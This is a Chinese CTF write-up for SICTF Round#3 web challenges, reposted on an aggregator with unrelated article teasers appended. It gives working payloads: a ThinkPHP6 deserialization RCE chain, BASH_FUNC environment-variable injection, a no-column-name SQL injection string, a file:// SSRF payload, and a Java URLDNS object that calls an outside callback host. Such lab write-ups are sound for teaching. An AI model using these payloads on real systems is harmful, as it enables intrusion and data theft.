SICTF Round#3 Web方向 题解WP

100％_upload

题目描述：小茂夫说：一直上传恶意文件尊嘟要生气了，世事莫固守，转变思路求突破

开题，注意有个文件包含

image-20240216180237786

题目把后缀过滤死了，无法上传php后缀文件。文件内容些许过滤，短标签即可绕过。

这题文件上传+文件包含。上传txt后缀木马，直接包含即可。

image-20240216180134075

image-20240216180153332

Not just unserialize

题目描述：看似平平无奇的反序列化题，出题人却在dockerfile里添加了这样一行奇怪命令：RUN ln -sf /bin/bash /bin/sh……

首先分析一下题目描述：RUN ln -sf /bin/bash /bin/sh

这条Docker命令 RUN ln -sf /bin/bash /bin/sh 在构建Docker镜像时执行，用于在Linux环境下创建或更新一个符号链接，即它会将 /bin/sh 指向 /bin/bash。

  • RUN: Dockerfile中的指令，用于在镜像构建过程中执行命令。
  • ln: Linux命令，用于创建链接，包括硬链接和符号链接。
  • -sf:
    • -s: 指定创建的是符号链接，而不是硬链接。符号链接类似于Windows中的快捷方式，指向另一个文件。
    • -f: 强制执行。如果目标文件（在这个例子中是 /bin/sh）已存在，它将被无提示删除并重新创建链接。这确保了即使 /bin/sh 已存在，链接也会被更新为指向 /bin/bash。
  • /bin/bash: 这是链接的目标，即当你访问或执行 /bin/sh 时，实际上是访问或执行的文件。
  • /bin/sh: 这是要创建或更新的符号链接的路径。

在许多Linux发行版中，/bin/sh 默认可能指向不同的Shell，如dash或其他轻量级Shell。

这个命令确保在Docker镜像中，当任何过程或脚本尝试通过/bin/sh执行Shell脚本时，实际使用的是Bash Shell，而不是系统默认的Shell。

开题。

image-20240216184829109

源码：

<?phphighlight_file(__FILE__);
class start
{public $welcome;public $you;public function __destruct(){$this->begin0fweb();}public  function begin0fweb(){$p='hacker!';$this->welcome->you = $p;}
}class SE{public $year;public function __set($name, $value){echo '  Welcome to new year!  ';echo($this->year);}
}class CR {public $last;public $newyear;public function __tostring() {if (is_array($this->newyear)) {echo 'nonono';return false;}if (!preg_match('/worries/i',$this->newyear)){echo "empty it!";return 0;}if(preg_match('/^.*(worries).*$/',$this->newyear)) {echo 'Don\'t be worry';} else {echo 'Worries doesn\'t exists in the new year  ';empty($this->last->worries);}return false;}
}class ET{public function __isset($name){foreach ($_GET['get'] as $inject => $rce){putenv("{$inject}={$rce}");}system("echo \"Haven't you get the secret?\"");}
}
if(isset($_REQUEST['go'])){unserialize(base64_decode($_REQUEST['go']));
}
?>

函数解释：

empty()：

检查一个变量是否为空

判断一个变量是否被认为是空的。当一个变量并不存在，或者它的值等同于**FALSE**，那么它会被认为不存在。如果变量不存在的话，**empty()**并不会产生警告。

putenv()：

设置环境变量的值

bool putenv( string $setting)

添加 setting 到服务器环境变量。 环境变量仅存活于当前请求期间。 在请求结束时环境会恢复到初始状态。

设置特定的环境变量也有可能是一个潜在的安全漏洞。 safe_mode_allowed_env_vars 包含了一个以逗号分隔的前缀列表。 在安全模式下，用户可以仅能修改用该指令设定的前缀名称的指令。 默认情况下，用户仅能够修改以 PHP_ 开头的环境变量（例如 PHP_FOO=BAR）。 注意：如果此指令是空的，PHP允许用户设定任意环境变量！

safe_mode_protected_env_vars 指令包含了逗号分隔的环境变量列表，使用户最终无法通过 putenv() 修改。 即使 safe_mode_allowed_env_vars 设置允许修改，这些变量也会被保护。

反序列化最后一步利用是环境变量注入，那就讲通了，题目描述中的docker语句是为了环境变量注入做准备的：

我是如何利用环境变量注入执行任意命令 | 离别歌 (leavesongs.com)

反序列化链子：

//start::__destruct()->start::begin0fweb()->SE::__set()->CR::__tostring()->ET::__isset()

POC：

<?phphighlight_file(__FILE__);
class start
{public $welcome;public $you;public function __destruct(){$this->begin0fweb();}public  function begin0fweb(){$p='hacker!';$this->welcome->you = $p;}
}class SE{public $year;public function __set($name, $value){echo '  Welcome to new year!  ';echo($this->year);}
}class CR {public $last;public $newyear;public function __tostring() {if (is_array($this->newyear)) {echo 'nonono';return false;}if (!preg_match('/worries/i',$this->newyear)){echo "empty it!";return 0;}if(preg_match('/^.*(worries).*$/',$this->newyear)) {echo 'Don\'t be worry';} else {echo 'Worries doesn\'t exists in the new year  ';empty($this->last->worries);}return false;}
}class ET{public function __isset($name){foreach ($_GET['get'] as $inject => $rce){putenv("{$inject}={$rce}");}system("echo \"Haven't you get the secret?\"");}
}//start::__destruct()->start::begin0fweb()->SE::__set()->CR::__tostring()->ET::__isset()$a=new start();
$a->welcome=new SE();
$a->welcome->year=new CR();
$a->welcome->year->newyear="\x0aworries";
$a->welcome->year->last=new ET();echo base64_encode(serialize($a));?>

传参如下：（有个编码问题，是个坑）

?get[BASH_FUNC_echo%25%25]=() { tac /ffffllllllaaaaaaaaaaaaaaaaaaggggg; };go=Tzo1OiJzdGFydCI6Mjp7czo3OiJ3ZWxjb21lIjtPOjI6IlNFIjoxOntzOjQ6InllYXIiO086MjoiQ1IiOjI6e3M6NDoibGFzdCI7TzoyOiJFVCI6MDp7fXM6NzoibmV3eWVhciI7czo4OiIKd29ycmllcyI7fX1zOjM6InlvdSI7Tjt9

image-20240216205545963

hacker

题目描述：这好像不是简单的sql注入

开题，源码有提示

image-20240218195140983

直接查询没有反应

image-20240218195351064

burp打一下fuzz，发现过滤了以下部分

image-20240218195553025

这题考无列名注入，可以看我的文章（才发现这篇访问有9k啊啊啊）：NSS [HNCTF 2022 WEEK2]easy_sql_nss上的sql-CSDN博客

payload：

1'/**/union/**/select/**/`2`/**/from/**/(select/**/1,2/**/union/**/select/**/*/**/from/**/flag)xxx%23

image-20240218200819659

Oyst3rPHP

题目描述：I think that Oyst3rphp is the best

开题，看饿了

image-20240218201154139

没啥发现，骚一波看看，收获满满

image-20240218201406166

源码readme发现是TP6

image-20240218201618345

工具检测不到

image-20240218201720974

所以我们再看看源码。估计有部分改动，我们要手动打。

/app/controller/index.php

<?php
namespace app\controller;
use app\BaseController;class Index extends BaseController
{public function index(){echo "RT，一个很简单的Web，给大家送一点分,再送三只生蚝，过年一起吃生蚝哈";echo "<img src='../Oyster.png'"."/>";$payload = base64_decode(@$_POST['payload']);$right = @$_GET['left'];$left = @$_GET['right'];$key = (string)@$_POST['key'];if($right !== $left && md5($right) == md5($left)){echo "Congratulations on getting your first oyster";echo "<img src='../Oyster1.png'"."/>";if(preg_match('/.+?THINKPHP/is', $key)){die("Oysters don't want you to eat");}if(stripos($key, '603THINKPHP') === false){die("！！！Oysters don't want you to eat！！！");}echo "WOW！！！Congratulations on getting your second oyster";echo "<img src='../Oyster2.png'"."/>";@unserialize($payload);//最后一个生蚝在根目录，而且里面有Flag？？？咋样去找到它呢？？？它的名字是什么？？？//在源码的某处注释给出了提示，这就看你是不是真懂Oyst3rphp框架咯！！！//小Tips：细狗函数┗|｀O′|┛ 嗷~~}}public function doLogin(){/*emmm我也不知道这是what，瞎写的*/if ($this->request->isPost()) {$username = $this->request->post('username');$password = $this->request->post('password');if ($username == 'your_username' && $password == 'your_password') {$this->success('Login successful', 'index/index');} else {$this->error('Login failed');}}}}

注意这里有一个反序列化点，猜测反序列化可以直接利用。

image-20240218204230837

我们只需要绕一下md5弱比较和正则回溯限制就行。由于回溯限制包比较大，我们直接用脚本发包。

import requestsurl = "http://yuanshen.life:38909/?left=s878926199a&right=s1091221200a"data ={"key":'.'*1000100+"603THINKPHP","payload":"【xxx】"}r = requests.post(url,data).text
print(r)

TP6利用链子：

<?phpnamespace think\model {use think\Model;class Pivot extends Model {}
}namespace think {abstract class Model {private $lazySave = false;private $data = [];protected $withEvent = true;private $exists = false;private $force = false;protected $table;private $withAttr = [];public function __construct($obj = '') {$this->lazySave = true;$this->data = array('Jay17'=>'cat /Oyst3333333r.php');$this->withEvent = false;$this->exists = true;$this->force = true;$this->table = $obj;$this->withAttr = array('Jay17'=>'system');}}}namespace {use think\model\Pivot;echo base64_encode(serialize(new Pivot(new Pivot())));}

flag在/Oyst3333333r.php（卡了好久。。）

最后POC：

import requestsurl = "http://yuanshen.life:38909/?left=s878926199a&right=s1091221200a"data ={"key":'.'*1000100+"603THINKPHP","payload":"TzoxNzoidGhpbmtcbW9kZWxcUGl2b3QiOjc6e3M6MjE6IgB0aGlua1xNb2RlbABsYXp5U2F2ZSI7YjoxO3M6MTc6IgB0aGlua1xNb2RlbABkYXRhIjthOjE6e3M6NToiSmF5MTciO3M6MjE6ImNhdCAvT3lzdDMzMzMzMzNyLnBocCI7fXM6MTI6IgAqAHdpdGhFdmVudCI7YjowO3M6MTk6IgB0aGlua1xNb2RlbABleGlzdHMiO2I6MTtzOjE4OiIAdGhpbmtcTW9kZWwAZm9yY2UiO2I6MTtzOjg6IgAqAHRhYmxlIjtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Nzp7czoyMToiAHRoaW5rXE1vZGVsAGxhenlTYXZlIjtiOjE7czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czo1OiJKYXkxNyI7czoyMToiY2F0IC9PeXN0MzMzMzMzM3IucGhwIjt9czoxMjoiACoAd2l0aEV2ZW50IjtiOjA7czoxOToiAHRoaW5rXE1vZGVsAGV4aXN0cyI7YjoxO3M6MTg6IgB0aGlua1xNb2RlbABmb3JjZSI7YjoxO3M6ODoiACoAdGFibGUiO3M6MDoiIjtzOjIxOiIAdGhpbmtcTW9kZWwAd2l0aEF0dHIiO2E6MTp7czo1OiJKYXkxNyI7czo2OiJzeXN0ZW0iO319czoyMToiAHRoaW5rXE1vZGVsAHdpdGhBdHRyIjthOjE6e3M6NToiSmF5MTciO3M6Njoic3lzdGVtIjt9fQ=="}r = requests.post(url,data).text
print(r)

image-20240218205707447

EZ_SSRF

题目描述：送你们点分，flag位于/flag哦~

直接给了源码：

<?php
highlight_file(__file__);
error_reporting(0);
function get($url) {$curl = curl_init();curl_setopt($curl, CURLOPT_URL, $url);curl_setopt($curl, CURLOPT_HEADER, 0);curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);$data = curl_exec($curl);curl_close($curl);echo base64_encode($data);return $data;
}
class client{public $url;public $payload;public function __construct(){$url = "http://127.0.0.1/";$payload = "system(\"cat /flag\");";echo "Exploit";}public function __destruct(){get($this->url);}
}
// hint:hide other file
if(isset($_GET['Harder'])) {unserialize($_GET['Harder']);
} else {echo "You don't know how to pass parameters?";
}?>

flag不在/flag。payload变量不会执行，我们注意力放在url变量上，file协议直接读。

POC：

<?php
highlight_file(__file__);
error_reporting(0);
function get($url) {$curl = curl_init();curl_setopt($curl, CURLOPT_URL, $url);curl_setopt($curl, CURLOPT_HEADER, 0);curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);$data = curl_exec($curl);curl_close($curl);echo base64_encode($data);return $data;
}
class client{public $url;public $payload;public function __construct(){$url = "http://127.0.0.1/";$payload = "system(\"cat /flag\");";echo "Exploit";}public function __destruct(){get($this->url);}
}$a=new client();
$a->url='file:///var/www/html/flag.php';
echo serialize($a);

image-20240218202923197

payload：

?Harder=O:6:"client":2:{s:3:"url";s:29:"file:///var/www/html/flag.php";s:7:"payload";N;}

base64解码

image-20240218202939395

[进阶]elInjection【*】

题目描述：快写个exp打死我！

hint：

利用ScriptEngine基础上可以使用Base64编码Bypass

非预期解法dns出网情况下，dns换行导致解析失败可以使用命令，ls /|head -n 1|tail -n -1，来读取行数

flag没有权限读取，执行/readflag获取

套双层ScriptEngineManager的eval执行java.util.Base64解码内容

开题

image-20240219004411863

[进阶]CC_deserialization【*】

题目描述：最近jack想学cc链，他请教了一位师傅，师傅为了考验他的能力，给了他一个网址和jar包，让他拿到地址中的flag，可是jack拿到网址后一脸懵逼，所以来找你求救，你能帮助他吗?（jdk版本1.8.0_65）

先把jar包用IDEA打开看看。用的是CC1

image-20240218211858786

先打一下URLDNS，看看出网否，出网。

exp=rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IADGphdmEubmV0LlVSTJYlNzYa/ORyAwAHSQAIaGFzaENvZGVJAARwb3J0TAAJYXV0aG9yaXR5dAASTGphdmEvbGFuZy9TdHJpbmc7TAAEZmlsZXEAfgADTAAEaG9zdHEAfgADTAAIcHJvdG9jb2xxAH4AA0wAA3JlZnEAfgADeHD//3QAGGRjdmV4eWs3LnJlcXVlc3RyZXBvLmNvbXQAAHEAfgAFdAAEaHR0cHB4dAAfaHR0cDovL2RjdmV4eWs3LnJlcXVlc3RyZXBvLmNvbXg=

image-20240218213106433

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.hqwc.cn/news/479017.html

如若内容造成侵权/违法违规/事实不符，请联系编程知识网进行投诉反馈email:809451989@qq.com，一经查实，立即删除！

相关文章

每日学习总结20240219

每日学习总结20240219

每日总结 20240219 1.文件类型.csv CSV文件是一种以逗号分隔值&#xff08;Comma-Separated Values&#xff09;为标记的文本文件&#xff0c;它可以用来存储表格数据。每一行表示一条记录&#xff0c;而每一条记录中的字段则使用逗号或其他特定的分隔符进行分隔。 常用场景…
阅读更多...
SpringMVC基础复习-概念+mvc配置类中代码+异常处理

SpringMVC基础复习-概念+mvc配置类中代码+异常处理

SpringMVC将Servlet的一些通用功能进行了抽取和封装,代码由两部分组成:前端控制器(由SpringMVC提供,主要负责:接收参数返回数据)处理器(调用业务层代码),核心依赖spring-webmvc(springboot中自动配置,用spring-boot-starter-web) 在项目中添加web环境的初始类和核心配置类,其中…
阅读更多...
计算机视觉学习指南（划分为20个大类）

计算机视觉学习指南（划分为20个大类）

计算机视觉的知识领域广泛而庞杂&#xff0c;涵盖了众多重要的方向和技术。为了更好地组织这些知识&#xff0c;我们需要遵循无交叉无重复&#xff08;Mutually Exclusive Collectively Exhaustive&#xff0c;MECE&#xff09;的原则&#xff0c;并采用循序渐进的方式进行分类…
阅读更多...
给label-studio 配置sam（segment anything）ml 记录

给label-studio 配置sam（segment anything）ml 记录

给label-studio 配置sam&#xff08;segment anything&#xff09;ml 后端记录 配置ml后台下载代码下载模型文件创建环境模型转换后端服务启动 配置label-studio 前端配置模型后端连接配置标注模板标注界面使用 参考链接 配置ml后台 下载代码 git clone https://github.com/H…
阅读更多...
为什么选用C09航空插头

为什么选用C09航空插头

为什么选用C09航空插头&#xff1f;其中的优势就是信号传输速度够快&#xff0c;是其他产品所不能达到的&#xff0c;今天就来和大家一起探讨一下C09航空插头信号传输速度。下面是科迎法电气为大家整理的资料&#xff0c;仅供大家学习参考&#xff01; 现在已经到了网络信息高度…
阅读更多...
用旧版本Matlab训练的 classregtree类的决策树model 在新版Matlab无法使用的解决方法

用旧版本Matlab训练的 classregtree类的决策树model 在新版Matlab无法使用的解决方法

背景 想把原来r2015a版本的代码升级到r2021b&#xff0c;用2021b运行原来的代码时&#xff0c;报错 搜索发现R2019a中已经去除了classregtree函数和classregtree类 解决方法 新版本的Matlab load(‘TreeModel.mat’)后&#xff0c;查看TreeModel的值 val 分类的决策树1 …
阅读更多...
Redis第一关之常规用法

Redis第一关之常规用法

简介 Redis不用多说&#xff0c;已经火了很多年了&#xff0c;也用了很多年了。现在做一些归纳总结。 这篇文章主要介绍Redis的常规知识及用法&#xff0c;包括数据结构、使用场景、特性、过期机制、持久化机制。 Redis与Mysql Mysql是一款基于磁盘的关系型SQL数据库。 Redi…
阅读更多...
Deep Learning with OpenCV DNN Module介绍

Deep Learning with OpenCV DNN Module介绍

Deep Learning with OpenCV DNN Module介绍 1. 源由2. 为什么/什么是OpenCV DNN Module?2.1 支持的不同深度学习功能2.2 支持的不同模型2.3 支持的不同框架 3. 如何使用OpenCV DNN模块3.1 使用从Keras和PyTorch等不同框架转换为ONNX格式的模型3.2 使用OpenCV DNN模块的基本步骤…
阅读更多...
MySQL学习Day18——存储引擎

MySQL学习Day18——存储引擎

存储引擎就是指表的类型&#xff0c;它的功能就是接收上层传下来的指令&#xff0c;然后对表中的数据进行提取或写入操作。 一、查看存储引擎 SHOW ENGINES; 二、设置系统默认的存储引擎 查看默认的存储引擎 show variables like %storage_engine%; 修改默认的存储引擎 …
阅读更多...
Zoho Desk ‘24｜了解客戶支持系統所有新的內容

Zoho Desk ‘24｜了解客戶支持系統所有新的內容

Zoho Desk 是一款在線客戶工單管理系統&#xff0c;它的核心是以“客戶”爲宗旨&#xff0c;幫助企業從多種渠道爲客戶提供優質的售後服務支持&#xff0c;持續提升客戶滿意度和忠誠度。我們很榮幸地推出Zoho Desk 24,本篇文章我們將會介紹它的新功能以及更新地部分&#xff0c…
阅读更多...
Jakarta Bean Validation

Jakarta Bean Validation

Validation 官网 https://beanvalidation.org/ 常见注解 Bean Validation中定义的注解&#xff1a; 注解详细信息Null被注释的元素必须为 nullNotNull被注释的元素必须不为 nullAssertTrue被注释的元素必须为 trueAssertFalse被注释的元素必须为 falseMin(value)被注释的元素…
阅读更多...
vscode 开发代码片段插件

vscode 开发代码片段插件

环境准备 node - 20v版本 &#xff0c;推荐使用nvm进行版本控制全局安装 "yo" 是 Yeoman 工具的命令行工具&#xff0c; npm i yo -g全局安装 generator-code 是一个 Yeoman 脚手架 gernerator-code npm i gernerator-code -g全局安装 npm install -g vsce官方文档 …
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023